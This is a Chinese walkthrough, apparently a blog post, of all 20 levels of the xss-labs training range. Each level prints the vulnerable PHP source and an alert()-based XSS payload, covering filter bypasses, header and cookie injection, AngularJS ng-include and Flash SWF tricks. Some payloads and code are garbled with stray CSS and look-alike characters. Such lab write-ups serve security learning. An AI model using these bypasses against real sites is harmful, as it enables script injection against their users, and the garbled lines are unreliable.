xss-labs靶场全通关


前言

所用的xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs 在这里关于 如何搭建靶场的就不再赘述了,可以在本地用phpstudy来搭建的。建议使用火狐浏 览器,访问http://ip/xss-labs
在这里插入图片描述

点击图片开始你的xss之旅吧!


level 1

在这里插入图片描述

源码:

<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>

分析:没有做任何过滤

 payload为:name=<script>alert(/xss/)</script>

level 2

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>

分析:有两处输出,第一处在PHP代码块的echo中输出,第二处在表单input中输出,第 一处用htmlspeciachars()做了转义,第二处并没有做限制,让payload在第二处起效果就 好,有2种方法。
1.不逃逸input标签闭合前边的双引号加个事件触发xss即可:

移动下鼠标即可触发payload为: " line-height: 160%; box-sizing: content-box;"> 点击输入框即可触发payload为: " line-height: 160%; box-sizing: content-box;"> 击输入框即可触发payload为: " οnfοcus="alert(/xss/)

2.逃逸出input标签执行另外的标签触发xss即可:

<img>标签payload为:"><img src=! ><img>标签payload为:"><img src="javascript:alert(/xss/)"> //浏览器可能会 过滤这个<a>标签payload为:"><a >xss</a><a>标签payload为:<a >xss</a> // 移动鼠标至框内

level 3

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>

分析:这次它将两个输出点都做了htmlspecialchars()转义,那既然做了转义那么双引号和 尖括号就没有效果了,但是单引号在这个函数中如果没做特殊的改动,默认是可以出效果 的,而且源码中的value是用单引号,看来是有意让使用单引号。

payload为:' οnmοuseοver='alert(/xss/) //其他payload省略

level 4

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:这里的俩个输出点,一个被转义,另外一个将尖括号替换为空,但是这并不影响 啊,按照上两题的套路,虽然不能闭合标签,单照样可以在input标签里边出发xss的

payload为:" οnmοuseοver="alert(/xss/) //鼠标点击输入框出发,其他payload 省略

level 5

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:貌似还是和前几题差不多只是将<script和on进行了替换但是黑名单过滤没用啊,两 种方法都可触发xss,第一种可以直接跳出input标签换个其他标签即可第二种改变下大小 写也可以,但是仔细看源代码发现有个strtolower()函数,他会把提交的所有字符转换为小 写,那就跳出input标签即可。

payload为:"><a >xss</a>

level 6

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:代码中它还是进行了关键字过滤,但是没有了strtolow()函数,那么进行大小写绕过 即可:
1.在input标签中触发XSS:

payload为:" line-height: 160%; box-sizing: content-box;"> 2.跳出input标签触 发XSS: payload为:"><sCript>alert(/xss/)</sCript> //等等...

level 7

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析:这道题出题人似乎把上边遇到的缺陷都补充了,但是程序有意的将特殊字符替换成 空字符,这样可以采用补充撮合的方法达到XSS攻击效果。
1.在input标签中触发:

 payload为:" oonnmouseover="alert(/xss/) //等等...

2.跳出input标签触发:

   payload为:"><scscriptript>alert(/xss/)</scscriptript> //等等...

level 8

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?><?php
echo '<center><br><a  >友情链接</a></center>';
?>

分析:这次代码先是将字符转换为小写,然后过滤特殊字符和双引号,最后又怕有漏网之 鱼加了一个转义函数输出,所以按常规方法绕几乎不可能成功,代码处的添加友情链接是 突破点,在input框中输入字符提交之后,在友情链接处会载入一个拼接后的a标签,因为 javascript被过滤对其进行编码绕过再点击友情链接即可。

payload为:javascript:alert(/xss/)

level 9

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 />   </form>
</center>';
?>
<?phpif(false===strpos($str7,'http://'))
{
echo '<center><br><a  >友情链接</a></center>';
}
else
{
echo '<center><br data-tomark-pass><a  >友情链接</a></center>';
}
?>

分析:这次在上一题的基础上加入了strpos()函数,查找如果url中找到’http’那么会返回找 到位置的位数,自然不会返回0也就不会等于false,那么就可以绕过限制了,但是为什么会 这么做呢?回想了下,应该是让输入框必须要输入合法的URL即带有http的字符串,那么 可以向输入框加进去就可以绕过了。

payload为:javascript:alert(/xss/)//http://

level 10

在这里插入图片描述

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?

分析:这道题有俩个输出的地方,第一个被实体化过滤,第二个是隐藏表单的"t_sort"参数 即’$str33’,过滤了尖括号,那么就在input标签中触发xss即可,可以用onmouseover或者 是onclick,需要将隐藏表单显示出来触发:

payload为:url后加 &t_sort=xss" οnmοuseοver=alert(/xss/) type="text"
payload为:url后加 &t_sort=xss" onclick=alert(/xss/) type="text"

level 11

在这里插入图片描述

源码:

<body><h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
</form>

分析:hidden隐藏了表单,str与str00都被做了转义,可以对输出的$str33写xss语句, burp抓包改referer即可

payload为:Referer: " οnmοuseοver=alert(/xss/) type="text

在这里插入图片描述

level 12

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';>

分析:同上题原理,这次我改user-agent就可以了

payload为:User-Agent:" οnclick=alert(/xss/) type="text

在这里插入图片描述

level 13

在这里插入图片描述
源码

<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果. </h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

分析:同上,改cookie中的user即可

payload为:   " οnfοcus=alert(/xss/) type="text

在这里插入图片描述

level 14

源码

<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10
src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a    href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>

这一关iframe调用的文件地址失效,已经无法测试了。
这里可以简单复现一下这种触发XSS的环境。
有些网站有读取图片exif(可交换图像文件格式英语:Exchangeable image file format, 官方简称Exif)信息的功能,当网站读取到的恶意的exif信息就会触发这个payload,是专 门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键 进入属性页面查看部分信息。)我这里先创建一个exifxss.php的文件
然后在当前文件夹下面放一张名为404的正常图片,接着访问一下
http://ip/xss-labs/exifxss.php
在这里插入图片描述

可以看到将图片的exif信息都打印出来了。如果我们将图片的exif信息改成触发xss的 payload呐?

在这里插入图片描述

可以看到已经在图片的exif信息中插入了触发xss的payload了。接下来再次访问试试看
在这里插入图片描述

level 15

在这里插入图片描述

源码:

<html ng-app>
<head>
<meta charset="utf-8">
<script
src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"> </script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location. ;
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span ></span></body>';
?>

分析:通过第一行以及我们提交的参数src的值被插入到标签的class属性值中发现 这里用了angular js的ng-include,其作用相当于php的include函数。这里就是将1.gif这 个文件给包含进来。
此处用了ng-include指令的话,先了解一下其具体的用法。

1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别

既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件

pyload为:'level1.php?name=<img src=1

在这里插入图片描述

level 16

在这里插入图片描述

源码:

<

?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","  ",$str);
$str3=str_replace(" ","  ",$str2);
$str4=str_replace("/","  ",$str3);
$str5=str_replace("     ","  ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

分析:过滤不全面很好绕过

将参数值中的script替换成
将参数值中的空格也替换成
将参数值中的/符号替换成

可以用回车来将它们分开。

<img
src=111”
onmouseover=alert(‘xss’)
payload为:keyword<img%0Asrc=xss%0Donmouseover=alert('xss')>

在这里插入图片描述

level 17

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
echo "<embed
src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg width=100% heigth=100%>";
?>

分析:出的值都被做了实体化转义,无法闭合标签,但是问题在于本身embed标签可以加 入事件,可以在arg01,或者arg中加入事件去触发即可

payload:arg01=123%20onmouseover=alert('xss')&arg02=b

在这里插入图片描述

level 18

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
echo "<embed
src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg width=100% heigth=100%>";
?>

分析:用上一关的方法:

payload:arg01=123%20onmouseover=alert('xss')&arg02=b

在这里插入图片描述

level 19

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
echo '<embed
src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar width=100% heigth=100%>';
?>

分析:这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是 JPEXS这款工具,首先定位getURL函数

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget); }),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link 时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") ==   this.content.length - 4);
}  //大体意思是要geturl得用a标签。
payload为:
arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E //点击传入进去的’111‘就可以触发XSS。

在这里插入图片描述

level 20

在这里插入图片描述

源码:

<?php
ini_set("display_errors", 0);
echo '<embed
src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["ar width=100% heigth=100%>';
?>

分析:可以看到此处依然是将我们提交的两个参数值插入到了标签的src属性值 中,并且这里还是引用了一个swf文件,但是唯一不同的是这里的swf文件在页面上并没有 显示出来。还是用JPEXS对xsf04.swf文件进行反编译
在这里插入图片描述

发现这是一个国内比较普遍的一个flash插件zeroclipboard.swf
可以参考freebuf文章http://www.freebuf.com/sectool/108568.html

payload为:
arg01=id&arg02=%22))}catch(e){(alert)
(/XSS/.source);}//%26width=500%26height=500

在这里插入图片描述

以上为xss-labs全通关学习!!!

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值